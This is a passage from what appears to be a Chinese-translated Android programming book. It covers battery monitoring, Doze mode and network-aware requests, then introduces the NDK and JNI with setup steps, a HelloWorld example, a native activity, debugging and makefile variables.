  • 性能:此级别在你的设备上激活一种稀缺模式。电池的使用时间会更短,以牺牲能源性能为代价。

下一个部分,电池使用情况,可以帮助我们确定设备在过去 24 小时的状态。让我们点击它以显示下一个屏幕:

分析

这个屏幕已经包含了一些非常有用的信息。我们可以看到过去 24 小时内电池电量的变化图表以及根据之前性能预测的接下来几小时的情况。更有趣的是图表底部的彩色条:它们以图形方式表示设备在那一刻哪些组件是活跃的:移动网络信号、GPS、Wi-Fi、设备是否唤醒、屏幕是否开启以及设备是否在充电。这对于调试我们没有源代码访问权限的第三方应用程序特别有用,分析它们是否经常启动我们不需要的组件。

上一部分展示了设备上安装的应用程序的全面列表。如果我们点击一个具体的应用程序,将会显示一个带有详细信息的新屏幕:

分析

这个屏幕包含了应用程序的所有详细使用情况,这为我们分析提供了有用的信息。应用程序是否消耗大量数据?它是否让设备长时间保持唤醒状态?执行了多少 CPU 计算?根据这些信息,我们可以确定行动点。

监测电池电量和充电状态

我们的设备执行持续的后台操作,这些操作耗电量大:网络更新、GPS 请求或计算密集型数据操作。根据电池状态,我们可能想在电池快耗尽时避免昂贵的操作。检查电池当前状态始终是一个好的起点。

为了检查电池的当前状态,我们需要捕获由BatteryManager类定期发送的Intent

IntentFilter ifilter = new IntentFilter(Intent.ACTION_BATTERY_CHANGED);
Intent intentBatteryStatus = context.registerReceiver(null, ifilter);

当获取到这个意图后,我们可以查询设备是否正在充电:

int status = intentBatteryStatus.getIntExtra(BatteryManager.EXTRA_STATUS, -1);
boolean isCharging = status == BatteryManager.BATTERY_STATUS_CHARGING ||
                     status == BatteryManager.BATTERY_STATUS_FULL;

如果设备正在充电,还可以确定充电是通过 USB 还是通过交流充电器进行的:

int chargePlug = batteryStatus.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1);
boolean isUSBCharging = chargePlug == BatteryManager.BATTERY_PLUGGED_USB;
boolean isACCharging = chargePlug == BatteryManager.BATTERY_PLUGGED_AC;

作为一条经验法则:如果设备正在充电,我们应该最大化所有要执行的操作,因为这不会对用户体验产生重大负面影响。如果设备电池电量低且未在充电,我们应考虑停用耗计算资源昂贵的操作。

如何识别充电状态的变化

我们已经了解了如何分析当前的充电状态,但如何对变化做出反应呢?前面提到的BatteryManager类会在设备连接或断开充电源时进行广播。为了识别它,我们需要在清单文件中注册一个BroadcastReceiver

<receiver android:name=".PowerConnectionBroadcastReceiver">
  <intent-filter>
    <action android:name="android.intent.action. ACTION_POWER_CONNECTED"/>
    <action android:name="android.intent.action. ACTION_POWER_DISCONNECTED"/>
  </intent-filter>
</receiver>

使用我们之前创建的方法,现在可以轻松识别并响应充电状态的任何变化:

public class PowerConnectionReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        int status = intentBatteryStatus.getIntExtra (BatteryManager.EXTRA_STATUS, -1);
        boolean isCharging = status == BatteryManager.BATTERY_STATUS_CHARGING ||
                     status == BatteryManager.BATTERY_STATUS_FULL;

        int chargePlug = batteryStatus.getIntExtra (BatteryManager.EXTRA_PLUGGED, -1);
          boolean isUSBCharging = chargePlug == BatteryManager.BATTERY_PLUGGED_USB;
          boolean isACCharging = chargePlug == BatteryManager.BATTERY_PLUGGED_AC;
    }
}

确定并响应电池电量的变化

类似于之前确定充电状态的方法,访问设备在特定时刻的电池电量将有助于确定要在我们的设备上执行的操作。

访问我们之前收集的intentBatteryStatus元素,我们可以用以下几行来查询我们的电池电量:

int level = intentBatteryStatus.getIntExtra(BatteryManager.EXTRA_LEVEL, -1);
int scale = intentBatteryStatus.getIntExtra(BatteryManager.EXTRA_SCALE, -1);

float batteryPercentage = level / (float)scale;

变量batteryPercentage包含设备上剩余的电池百分比,尽可能准确。请注意,实际值可能会有小的偏差。

与之前的情况类似,我们可以通知我们的应用程序当设备电量不足时。为此,我们需要在 Android 清单中注册以下BroadcastReceiver

<receiver android:name=".BatteryLevelBroadcastReceiver">
<intent-filter>
  <action android:name="android.intent.action.ACTION_BATTERY_LOW"/>
  <action android:name="android.intent.action.ACTION_BATTERY_OKAY"/>
  </intent-filter>
</receiver>

这个BroadcastReceiver将在设备每次进入低电量模式(或因为充电而退出)时触发。

当电池电量危急时,具体要采取的策略由读者决定。通常,本书的作者建议在电池电量危急时关闭非必要操作。

Doze 模式和 App 待机

安卓 6.0 棉花糖(API 版本 23)首次引入了两项强大的功能,以节省我们设备上的电池电量:Doze 模式和 App 待机。前者在设备长时间未使用时减少电池消耗,后者在特定应用长时间未使用时对网络请求做同样处理。

了解 Doze 模式

Doze 模式在 API 级别高于 23 的设备上默认激活。当设备在一段时间内未插电且无活动时,它将进入 Doze 模式。进入 Doze 模式对你的设备有一些重大影响:

  • 你的设备将不会有网络操作,除非接收到来自Google Cloud Messaging(GCM)的高优先级消息

  • WakeLocks 将被忽略

  • 使用AlarmManager类设置的闹钟计划将被忽略

  • 你的应用程序将不会执行 Wi-Fi 扫描

  • 不允许运行 Sync 适配器或作业调度程序

阅读完第一点后,你可能会想“那么,如果大家都遵循这种模式,没有什么能阻止我持续使用 GCM 消息,实现一个具有高优先级的应用程序?”坏消息是:谷歌已经考虑到了这一点。Dianne Hackborne 在她的官方 Google Plus 个人资料中已经声明,所有高优先级的消息都是通过谷歌 GCM 服务器发送的,它们可能会受到监控。如果谷歌发现某个特定平台正在滥用系统,可能会停止 GCM 高优先级消息,而无需修改设备上的任何软件。我们的建议是:如果你正在实现一个带有高优先级 GCM 消息的系统,请按照谷歌推荐的方式保持功能;只发送和通知重要和相关信息。

可以为应用程序关闭休眠模式。为此,你需要进入设置菜单,选择电池,然后在屏幕右上角选择电池优化。选择你是否想要优化应用程序:

理解休眠模式

我们之前提到过,在休眠模式下闹钟不会被触发。为了帮助我们的应用程序适应,Android 6.0 为我们提供了一些额外的功能:setAndAllowWhileIdle()setExactAndAllowWhileIdle()函数。使用这些方法,我们可以决定特定的闹钟是否也应在休眠模式下触发。然而,我们鼓励你很少使用这些方法,主要用于调试目的。休眠模式试图建立一种低电池消耗的模式,我们应该以此为主要指导原则。请注意,即使使用这种方法,闹钟也不能每 15 分钟触发一次以上。

避免无用的网络请求

在现实世界中,开发者几乎不会检查网络状态。我们执行的许多闹钟、广播和重复性任务都与互联网连接有关。但是如果没有活跃的互联网连接,执行所有这些操作的意义何在?在互联网连接恢复正常工作之前,忽略所有这些操作将更为高效。

使用以下代码段可以轻松确定当前的互联网连接:

ConnectivityManager connectivityManager =
        (ConnectivityManager)context.getSystemService (Context.CONNECTIVITY_SERVICE);

NetworkInfo activeNetwork = connectivityManager.getActiveNetworkInfo();
boolean isConnected = activeNetwork != null &&
                      activeNetwork.isConnectedOrConnecting();

在执行任何请求之前,我们应该使应用程序能够检查互联网连接是否活跃。这不仅是一个有助于降低电池消耗的应用措施,而且也有利于我们应用程序的良好架构和错误处理:阻止执行 HTTP 请求比触发请求后不得不处理因缺乏活跃互联网连接而导致的超时或任何异常要容易得多。在设备上出现这种情况时,任何网络请求应默认被禁用。

另一个有用的技巧是在互联网连接不是使用 Wi-Fi 时避免下载大量数据。以下代码段将让我们知道当前的连接类型:

boolean isWiFi = activeNetwork.getType() == ConnectivityManager.TYPE_WIFI;

我们通常可以假设 Wi-Fi 网络将始终比 3G/4G 连接快。这不是绝对的真理,我们可能会发现相反的情况是真实的。但作为经验法则,这在大多数情况下是有效的。此外,大多数国家的大多数网络运营商都会限制其网络连接每月使用一定量的数据,超出此限制将产生额外费用或降低速度。如果仅在 Wi-Fi 下执行昂贵的网络操作,你通常会处于安全的一方。

此外,可以轻松执行当前 Wi-Fi 速度的检查,以确定速度是否足以下载大量数据:

WifiInfo wifiInfo = wifiManager.getConnectionInfo();
int speedMbps = wifiInfo.getLinkSpeed();

不幸的是,Android 原生没有直接的方法来检查 3G/4G 的速度。从互联网上下载一些数据,然后建立下载所需时间和下载数据量之间的关系,可以给出一个近似值。然而,这将是一种间接的方法,也需要使用一些带宽。

类似于本章前面部分所解释的内容,我们也可以通过注册BroadcastReceiver来通知应用程序设备连接性的突然变化。接收器如下所示:

  <receiver android:name=".NetworkChangeReceiver" >
            <intent-filter>
                <action android:name="android.net.conn. CONNECTIVITY_CHANGE" />
</intent-filter>
        </receiver>

我们的定制BroadcastReceiver将按以下方式操作:

public class NetworkChangeReceiver extends BroadcastReceiver {

    @Override
    public void onReceive(final Context context, final Intent intent) {
        final ConnectivityManager connectionManager = (ConnectivityManager) context
                .getSystemService(Context.CONNECTIVITY_SERVICE);

        final NetworkInfo wifi = connectionManager
                .getNetworkInfo(ConnectivityManager.TYPE_WIFI);

        final NetworkInfo mobile = connectionManager
                .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);

        if (wifi.isAvailable() || mobile.isAvailable()) {
            //perform operation

        }
    }
}

按需处理 BroadcastReceivers

使用 BroadcastReceivers 的一个副作用是,每次事件实际发生时,设备都会唤醒。这意味着如果我们从长远考虑,那么少量的能源也是不容忽视的。

我们可以使用一种辅助技术来提高应用程序的效率:根据手机当前状态按需激活或停用 BroadcastReceivers。这意味着:例如,如果互联网连接已丢失,我们可能只需等待互联网连接激活,并忽略其他 BroadcastReceivers,因为它们将不再有用。

下面的代码片段展示了如何以编程方式激活或停用在PackageManager类中定义的组件:

ComponentName myReceiver = new ComponentName(context, Receiver.class);

PackageManager packageManager = getPackageManager();

packageManager.setComponentEnabledSetting(myReceiver,
        PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
        PackageManager.DONT_KILL_APP)

网络连接

在第二章《*高效调试》中,我们引入了网络工具,这是一个可以用来执行设备网络流量的分析的实用工具。我们解释了如何标记网络连接,以确保可以轻松进行数据分析。

如何执行网络工具中数据的解释没有一个单一答案,因为这种解释取决于应用程序根据其功能和目的可能具有的不同要求。但是,如果执行得当,以下几条黄金规则通常会对我们的应用程序产生价值:

  • 预取数据:我们倾向于按需预取信息,这可能是更简单的解决方案。但从长远来看,预取信息可能是有益的。进行网络分析,如果你发现可以在之前的情况中获取数据,而这对于应用程序有益(例如,在 Wi-Fi 连接时或应用程序空闲时下载一些用户相关信息),那么不妨尝试一下。这对用户体验也有影响,因为信息将更快加载,而不会影响体验。

  • 减少连接数:通常,相比于进行多次连接以下载小块数据,执行单次连接以下载大量数据更为优化。每个建立的连接都会产生额外的流量费用,并且在连接池中处理不同连接可能会使你的应用程序复杂性呈指数级增长。这并不是每次都能执行的操作,特别是如果你无法访问你的应用程序所使用的网络服务时。但如果你有机会,值得一试,并在修改前后进行网络测试。

  • 批量处理和计划:如前所述,单独处理请求会更快耗尽你的电池。相反,尽可能使用最少的连接,你可以利用 Android 提供的批量处理/计划 API 之一。这些 API 会创建一个包含你所有可用请求的计划,并一次性执行,从而节省宝贵的时间和能源。

    注意

    正式来说,有三个可用的批量处理和计划 API:GCM 网络管理器、作业调度器和同步适配器。它们各有几项要求,且每个的实现都比较复杂。然而,谷歌和本书的作者建议使用前两个而不是同步适配器。同步适配器自 Android 2.0 起可用,其实现属于不同的时代;而且,它的实现也较为复杂。

  • 使用 GCM:这是一个众所周知的真理,但并不经常发生:应为你的应用程序使用如 GCM 这样的推送系统,而不是轮询系统。从服务器拉取数据是完美的电池杀手,对你的应用程序没有任何好处。实现推送解决方案的复杂性将立即得到回报,远胜于拉取数据。

  • 使用缓存机制:Android 中有多项机制和库可以缓存 HTTP 请求。Spice 提供了一个优秀且全面的库,本书的作者可以明确推荐它。然而,每年都有新的库和方法兴起和淘汰。关注最新的缓存信息机制,并且尽可能地应用它们。

  • 压缩信息:在发送前可以压缩信息,这样可以节省大量带宽和能源。从 Android Gingerbread 版本开始,HttpUrlConnection对象会自动为通过HttpUrlConnection对象发送的 JSON 添加压缩。请记住,在客户端压缩信息,发送到服务器后再解压处理,通常比不压缩直接发送信息更为高效。

总结

电池性能是一个令人兴奋的领域,它可以为我们的应用程序提供许多改进。这个领域被广泛忽视,即使是经验最丰富的开发者也常常忽视它,没有加以重视。本书的作者强烈鼓励任何开发者尽可能采取本书中描述的行动,并持续检查应用程序在性能和用户体验方面的改进。我们不能经常和强烈地强调:这样做是值得的。

谷歌承诺将全力以赴提供更好的电池和能源体验,并为开发者提供扩展的 API。如果未来的 Android 版本开始提供新技术以增加电池寿命和改善能源消耗,这并不会令人惊讶。我们建议读者关注未来 Android 版本的发展(在撰写本文时,即 2016 年第一季度,Android N 还没有固定的发布日期)。

阅读本章节后,读者应该能够清楚地了解 Android 开发中主要的电池和能源漏洞。如果这里提供的任何建议被应用,我们建议随着时间的推移跟踪改进的发展情况。这最终可以用来作为向其他开发者解释为什么这些措施重要的有力论据。

第九章:Android 中的本地编码

本地开发工具包(从现在开始,NDK)是谷歌提供的一套工具,允许开发者使用本地代码语言(通常是 C 和 C++)在应用程序上。这可以让我们使用更优化的语言执行计算密集型任务,或者访问第三方库以更好地执行某些任务(例如,我们可以使用 OpenCV 来访问和操作图像,而不是本地效率不高的 Java API)。

注意

NDK 可能是一个强大的工具,但我们建议读者评估它是否会为你的项目带来好处。在许多情况下,并不需要 NDK,开发者不应仅仅因为自己更熟悉就选择这个工具集。此外,使用 NDK 无疑会增加我们项目在结构和需要处理的文件方面的复杂性。

在 Android 中使用 NDK 确实能带来好处,但也必须考虑一些陷阱:

  • 代码复杂性增加。除了我们的 Java(或 Kotlin,或选择的任何语言)框架外,现在我们还需要调试另一种语言。

  • 使用 NDK 时不再有自动垃圾收集器。执行所有内存管理的责任现在完全依赖于本地代码。

  • 如果我们开发的 Java 代码需要移植到其他平台,使用 NDK 将更加困难。正在使用的一个解决方案是将文件编译到所有可能的操作系统,然后在编译时选择它们。可以想象,这大大增加了我们代码的复杂性。

入门——在系统中设置 NDK

从 1.3 RC1 版本开始,Android Studio 支持本地开发工具包(NDK)。尽管仍然有限制,但它仍然可用,并将为大多数用户提供足够的功能和稳定性以继续使用。

要设置 NDK,我们首先需要将其下载到我们的系统中。在撰写本书时,最新版本的 NDK 可以从developer.android.com/ndk/downloads/index.html下载。如果潜在读者在这个位置找不到 NDK,我们鼓励他们通过 Google 搜索其最新版本的位置。

下载完 NDK 后,解压 ZIP 文件并将其移动到你选择的位置。该文件夹将包含类似于以下内容的东西:

入门——在系统中设置 NDK

这里的每个包都包含一些不同的数据文件:

  • build文件夹包含使用 NDK 工具集实际构建所需的所有工具和包。

  • ndk-build是我们将调用来使用 NDK 的脚本。

  • platforms包含我们将用于每个不同版本的 Android SDK 的必要工具。

  • python-packages包含 Python 脚本中的源代码。

  • sources文件夹包含源文件。

  • toolchains 中,我们将找到构建现有程序所需的工具链。关于这方面的更多信息将在本章后面介绍。

通常建议将 NDK 文件夹的位置添加到 PATH 环境变量中,以便稍后可以轻松访问。根据操作系统,这可以轻松完成。

在 Mac 上,在控制台中输入 sudo nano /etc/paths。你会看到类似于下面截图所示的内容:

入门——在我们的系统中设置 NDK

你需要在这个屏幕上添加 NDK 下载位置。添加后,关闭控制台并重新打开。如果你输入 echo $PATH,除了之前存在的行内容外,你添加的行内容也会被显示。

在 Windows 中,你需要通过控制面板或系统设置来添加它。此外,也可以直接从控制台通过输入 set PATH=%PATH%;C:\new\folder 来添加。

为了使用 NDK,我们还需要标准的 Android SDK。如果读者已经阅读到这一章,我们假设这一点已经就绪,并且 Android SDK 已经成功安装。

JNI

JNI 代表 Java Native Interface。JNI 允许用其他语言编写的库和软件访问在 Java Virtual Machine (JVM) 中运行的 Java 代码。这不是与 Android 相关的内容,而是在 Java 世界中已经存在并使用过的编程框架。

JNI 需要将文件声明为 C 或 C++——它甚至可以连接到 Objective-C 文件。下面是 C 语言的一个示例:

jstring
Java_com_my_package_HelloJni_stringFromJNI( JNIEnv* env,
                                                  jobject thiz )
{
    return (*env)->NewStringUTF(env, "Hello World");
}

观察文件,我们可以看到在返回类型 jstring(相当于字符串)之后,有一个以单词 Java 开头的结构,包括包名、类名和方法名。JNIEnv 对象始终作为参数传递,以及 jobject ——这是使框架与 Java 接口的必要条件。用 C 编写的函数只返回一个字符串。这对于存储我们希望从潜在破解者眼中隐藏的令牌或密钥将非常有用。

初始概念

在我们开始创建第一个本地应用程序之前,我们希望向读者介绍一些初始概念,以便更容易理解:

  • ndk-build:这个文件是负责调用 NDK 构建的 shell 脚本。自动地,这个脚本检查系统和应用程序是否正确,生成将被使用的二进制文件,并将它们复制到我们的项目结构中。作为一个 shell 脚本,它可以带有一些额外的参数:

    • clean:这个参数会让脚本清除之前生成的所有二进制文件

    • –B:使用 –B 选项,我们强制系统进行重新构建

    • V=1:这会释放构建并显示构建命令

    • NDK_DEBUG=X:如果我们使用 1,构建将是可调试的;如果我们使用 0,我们将强制进行发布构建

    • NDK_LOG=X:使用1,NDK 将记录构建过程中产生的所有消息。

    请记住,所有参数都可以部分组合(例如,如果您想强制重建并显示所有构建命令,可以使用B V=1)。当我们自动化构建以从 CI 服务器完成时,这种脚本非常有用,因为我们不再需要手动指定任何构建类型。

  • 应用程序二进制接口ABI):ABI 定义指定了代码如何与系统交互。当编译生成的文件时,您会看到针对每种架构都创建了不同的文件。每个文件都是根据这些定义之一创建的。

创建我们的第一个 HelloWorld-JNI

让我们使用 Android Studio 创建一个最小配置的项目。为此,导航到Project | New | New Project。创建可用的最简约配置——通常只是一个项目;一开始不要添加Activity。这会添加很多我们此刻不需要的样板代码。创建项目后,通过在源文件夹上右键点击,选择New | Java Class来添加一个新的Activity。将类命名为MainActivity

创建我们的第一个 HelloWorld-JNI

当文件创建完成后,为Activity添加以下基础代码:

public class MainActivity extends Activity { 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
    }    
}

并记得将其添加到AndroidManifest.xml以及您的默认活动中:

<activity 
    android:name="com.hellojni.MainActivity">
    <intent-filter>
      <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent. category.LAUNCHER" />
    </intent-filter>
</activity>

下一步是创建 JNI 文件。这包括两个主要文件。在应用程序的根目录下创建一个名为jni的文件夹。我们将添加以下文件:

注意

活动名称与本地方法名称相匹配非常重要。相反的情况可能导致在使用 NDK 时出现问题。

  • HelloWorld-jni.c

    jstring
    Java_com_my_package_HelloJni_stringFromJNI( JNIEnv* env,
                                                jobject thiz )
    {
        return (*env)->NewStringUTF(env, "Hello World");
    }
    
  • Android.mk

    LOCAL_PATH := $(call my-dir)
    
    include $(CLEAR_VARS)
    
    LOCAL_MODULE    := HelloWorld-jni
    LOCAL_SRC_FILES := HelloWorld-jni.c
    
    include $(BUILD_SHARED_LIBRARY)
    

    Android.mk文件是什么?这个文件告诉 Android 我们的资源的定位和命名。在这里,我们指定了将要使用的模块和文件,以及它们的存放位置。在使用 NDK 的所有项目中都必须有这个文件才能正常工作。

  • Application.mk

    APP_ABI := all
    

    此文件指定了我们正在构建的目标架构。在这个例子中,我们为所有架构构建,但我们也可以决定只针对特定的架构(armeabi, armeabi-v7a, mips, x86 等)构建。我们最终还可以添加我们正在使用的 API 级别:

    APP_PLATFORM := android-9
    

正如预期的读者可能已经开始猜测的那样,我们的目的是读取由 C 文件提供的信息,并通过使用 NDK 和 JNI 将其渲染到屏幕上。完成所有设置后,让我们在MainActivity类中进行一些更改。

首先,让我们添加以下几行:

static {
        System.loadLibrary("HelloWorld-jni");
}

这将静态加载我们在loadLibrary()函数中指定的库,必须与Android.mk文件中提供的完全一致。

现在我们需要创建在我们的.c文件中定义的本地方法。这需要在Activity中声明一个公共方法:

public native String stringFromJNI();

作为最后一步,为了显示使用 JNI 读取的值,我们将创建一个简单的TextView并在我们的应用程序中填充它。这个TextView字段将使用stringFromJNI()函数读取值并将其显示出来:

  TextView  textView = new TextView(this);
  textView.setText( stringFromJNI() );
  setContentView(textView);

完成所有这些步骤后,进入项目的根目录并输入ndk-build。你应该得到类似于以下的输出:

Compile thumb  : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/armeabi-v7a/libhello-jni.so
Compile thumb  : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/armeabi/libhello-jni.so
Compile x86    : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/x86/libhello-jni.so
Compile mips   : hello-jni <= hello-jni.c
SharedLibrary  : libhello-jni.so
Install        : libhello-jni.so => libs/mips/libhello-jni.so

注意

使用 NDK 时有一个常见问题,就是类似Android NDK: Your APP_BUILD_SCRIPT points to an unknown file: /route/to/Android.mk的消息。通过将你的项目所在路径导出到环境变量NDK_PROJECT_PATH中,可以轻松解决这个问题:

export NDK_PROJECT_PATH=~/Location/HelloJNI/

如果你需要以编程方式完成这个操作,请记住这一点。

还需要执行最后一步:当ndk-build完成后,在根目录下会创建一个名为libs的文件夹。你需要手动将这个文件夹的内容移动到应用模块中的新目录src/main/jniLibs。你也可以通过在 Gradle 文件中使用一些脚本轻松完成这一操作:

创建我们的第一个 HelloWorld-JNI

如果你按照本章的步骤正确操作,并且编译了应用程序,你应该能够显示一个类似于以下的屏幕:

创建我们的第一个 HelloWorld-JNI

恭喜你!你已经使用 JNI 和 NDK 创建了你的第一个应用程序。

使用 Android NDK 创建本地活动

在下一节中,我们将学习如何完全使用本地 C 代码来完成一个应用程序,无需任何 Java 代码。请注意,这样做更多的是为了学习目的,因为完全使用本地应用程序开发的实际案例并不多。然而,这将作为一个不同层次之间以及与 Android 操作系统交互的好例子。

由于我们不使用 Java 代码,我们需要在AndroidManifest.xml文件中指定我们的项目将不包含 Java 代码。这是通过使用以下几行来完成的:

<application android:label="@string/app_name"
android:hasCode="false">

从 API 级别 9 开始,仅使用本地代码的应用程序首次得到支持。在撰写这本书的时候,这应该不是问题,因为低于 API 级别 9 的版本占总量的 0.1%以下。然而,由于 NDK 的性质,你可能只会将其用于遗留或旧设备:

<uses-sdk android:minSdkVersion="9" />

最后,我们需要在AndroidManifest.xml文件中包含一个名为android.app.lib_name的元数据值。这个值需要与你包含在Android.mk文件中的LOCAL MODULE值相等:

<meta-data android:name="android.app.lib_name"
android:value="native-activity-example" />

Android.mk文件看起来可能像这样:

LOCAL_PATH := $(call my-dir)

include $(CLEAR_VARS)

LOCAL_MODULE    := native-activity
LOCAL_SRC_FILES := main.c
LOCAL_LDLIBS    := -llog -landroid -lEGL -lGLESv1_CM
LOCAL_STATIC_LIBRARIES := android_native_app_glue

include $(BUILD_SHARED_LIBRARY)

$(call import-module,android/native_app_glue)

与我们之前版本中使用的文件相比,这个文件中的Android.mk已经扩展了。请注意以下字段:

  • LOCAL_LDLIBS:这是当前 NDK 应用程序中要使用的附加链接器标志列表。

  • LOCAL_STATIC_LIBRARIES:这是需要调用的本地静态库列表。在这种情况下,我们将调用 android_native_app_glue。每次尝试创建原生活动以管理其生命周期和其他属性时,都需要这个特殊的库。

在这个例子中,我们将使用的 .c 文件比之前使用的要复杂一些。首先,需要向应用程序添加一些额外的包含指令:

#include <jni.h>
#include <errno.h>

#include <EGL/egl.h>
#include <GLES/gl.h>

#include <android/sensor.h>
#include <android/log.h>
#include <android_native_app_glue.h>

#define LOGI(...) ((void)__android_log_print(ANDROID_LOG_INFO, "native-activity", __VA_ARGS__))
#define LOGW(...) ((void)__android_log_print(ANDROID_LOG_WARN, "native-activity", __VA_ARGS__))

有一个主函数,作为进入原生应用程序的入口点。这个函数默认接收一个 android_app 类型的对象,它反映了应用程序在给定时刻的状态。基于这个状态,应用程序如下处理:

void android_main(struct android_app* state) {
    struct engine engine;

    app_dummy();

    memset(&engine, 0, sizeof(engine));
    state->userData = &engine;
    state->onAppCmd = engine_handle_cmd;
    state->onInputEvent = engine_handle_input;
    engine.app = state;

    engine.sensorManager = ASensorManager_getInstance();
    engine.accelerometerSensor = ASensorManager_getDefaultSensor(engine.sensorManager,
            ASENSOR_TYPE_ACCELEROMETER);
    engine.sensorEventQueue = ASensorManager_createEventQueue(engine.sensorManager,
            state->looper, LOOPER_ID_USER, NULL, NULL);

    if (state->savedState != NULL) {
        engine.state = *(struct saved_state*)state->savedState;
    }

应用程序还提供了一个主循环。它将检查当前和之前的状态以及传感器的输出,并在屏幕上绘制:

    while (1) {
        int ident;
        int events;
        struct android_poll_source* source;

        while ((ident=ALooper_pollAll(engine.animating ? 0 : -1, NULL, &events,
                (void**)&source)) >= 0) {

            if (source != NULL) {
                source->process(state, source);
            }

            if (ident == LOOPER_ID_USER) {
                if (engine.accelerometerSensor != NULL) {
                    ASensorEvent event;
                    while (ASensorEventQueue_getEvents (engine.sensorEventQueue,
                            &event, 1) > 0) {
                        LOGI("accelerometer: x=%f y=%f z=%f",
                                event.acceleration.x, event.acceleration.y,
                                event.acceleration.z);
                    }
                }
            }

            if (state->destroyRequested != 0) {
                engine_term_display(&engine);
                return;
            }
        }

        if (engine.animating) {
            engine.state.angle += .01f;
            if (engine.state.angle > 1) {
                engine.state.angle = 0;
            }

            engine_draw_frame(&engine);
        }
    }
}

如果你编译,你将在屏幕上绘制一个纯粹的原生活动。

调试 NDK

使用 NDK 开发的源代码的调试并不像使用标准的 Android Java DK 开发的代码那样直接,但这个平台上有可用的工具。从 1.3 版本开始,Android Studio 提供了一些内置工具来调试带有 JNI 的应用程序。

为了准备一个要被调试的应用程序,我们需要修改我们的 build.gradle 脚本。以我们之前编写的 HelloWorldJNI 为例。打开 app 模块的 build.gradle 文件,并添加以下几行:

buildTypes {
        release {
            minifyEnabled false
            {…}
            ndk {
                debuggable = true
            }

        }
        debug {
            debuggable = true
            jniDebuggable = true
        }
    }

需要创建一个新的调试配置。为了实现它,请导航到 编辑配置,并在下拉菜单中选择 新建 Android 原生

调试 NDK

当在 Android 原生设置中发布配置时,Android Studio 会自动识别应用程序为原生(或混合)应用程序,并自动启动原生调试器。要查看这一点,请转到你用来在屏幕上绘制内容的 C 文件,并在该函数中设置一个断点:

调试 NDK

这将在内容即将被绘制时停止应用程序。现在通过点击 调试 图标,调试 NDK,而不是启动图标来执行应用程序。现在与普通应用程序的执行相比,会有一些不同之处。首先,你会看到环境正在尝试连接原生调试器,而不是标准的调试器:

调试 NDK

当应用程序最终启动后,执行将在断点处停止,调试部分将出现一个新的屏幕:

调试 NDK

新的调试屏幕非常有趣。在这里,我们可以访问所有正在声明或实例化的本地变量(例如,我们在函数中使用的JNIEnv变量包含了很多关于我们的环境和可用的调试部分的信息)。

Android.mk

我们已经了解了Android.mk文件提供的一些基本可能性。实际上,这个文件类似于 GNU makefile:它向构建系统描述了源文件和共享库。

Android.mk文件中,我们可以将所有资源分组到模块中。模块可以是静态库、独立可执行文件或共享库。这个概念与 Android Studio 中的模块相似,读者现在应该已经熟悉了。相同的源代码可以用于不同的模块。

我们在前一个脚本中看到了以下这行内容:

include $(CLEAR_VARS)

这个值由构建系统自动提供。它指向一个负责清理许多本地变量的内部 makefile。

我们稍后需要添加这些模块:

LOCAL_MODULE := example-module

为了使文件正常工作,模块需要具有唯一的名称,并且不能有特殊字符或空格。

注意

当编译时,NDK 会自动为你的模块添加前缀lib,并添加后缀.so。在所提供的示例中,生成的文件将是libexample-module.so。但是,如果你在Android.mk文件中添加了前缀lib,那么在生成.so文件时将不会添加此前缀。

指定要在模块中包含的文件始终使用以下这行:

LOCAL_SRC_FILES := example.c

如果需要在同一模块中包含不同的文件,你应该使用空格分隔它们,如下所示:

LOCAL_SRC_FILES := example.c anotherexample.c

NDK 中的更多变量

NDK 定义了一些可以在Android.mk文件中自动使用的变量。

TARGET_PLATFORM

这个变量定义了构建系统要使用的目标平台:

TARGET_PLATFORM := android-21

目标始终以android-xx的格式使用。NDK 并不支持所有的平台类型。最好检查 NDK 网站以了解哪些平台是受支持的。在撰写本书时(2016 年第一季度),以下是受支持的平台列表:

支持的 NDK API 级别 相当于的 Android 版本
3 1.5
4 1.6
5 2.0
8 2.2
9 2.3 至 3.0.x
12 3.1.x
13 3.2
14 4.0 至 4.0.2
15 4.0.3 至 4.0.4
16 4.1 和 4.1.1
17 4.2 和 4.2.2
18 4.3
19 4.4
21 4.4W 和 5.0

TARGET_ARCH

这个变量指定了用于构建 NDK 的架构。它可能包含如x86arm等值。此变量的值取自APP_ABI文件,该文件在Android.mk文件中指定。在撰写本书时,以下是支持的架构及其名称列表:

架构 要使用的名称
ARMv5TE armeabi
ARMv7 armeabi-v7a
ARMv8 AArch64 arm64-v8a
i686 x86
x86-64 x86_64
mips32 (r1) mips
mips64 (r6) mips64
All of them 所有

TARGET_ABI

当我们想要同时指定 Android API 级别和 ABI 时,这个变量会非常有用。我们可以轻松地这样做,例如:

TARGET_ABI := android-21-x86

NDK 宏

宏是包含特定功能的小型函数。其中一些默认由 NDK 定义。要调用它们,你必须使用以下语法:

$(call <function-name>)

以下是 NDK 中指定的几个默认宏:

  • my-dir:这个宏返回Android.mk文件的当前路径。当你最初想在脚本中设置LOCAL_PATH时,它非常有用:

    LOCAL_PATH := $(call my-dir)
    all-subdir-makefiles
    

    当执行此宏时,它会以列表形式返回找到的所有Android.mk makefile,这些文件位于my-dir返回的文件夹中。

    使用此命令,我们可以提供更好的子层次结构行和包结构的更好组织。

  • parent-makefile:这返回父 makefile 可以找到的路径。

    提示

    grand-parent-makefile命令也存在,它返回,顾名思义,是祖父路径。

  • this-makefile:这个宏返回当前 makefile 的路径。

Application.mk

Application.mk文件也是我们示例项目中存在的文件。它描述了应用程序所需的本地模块,通常位于yourProject/jni文件夹下。与Android.mk文件一样,这里我们可以包含一些变量,这将增加此文件的功能性:

  • APP_OPTIM:这是一个非常有用的变量,可以用来决定在构建应用程序模块时的优化级别。它可以被定义为releasedebug

    基本上,当模块在release模式下编译时,它们非常高效,提供的调试信息很少。另一方面,debug模式包含了一堆有用的调试信息,但不适合分发。默认模式是release

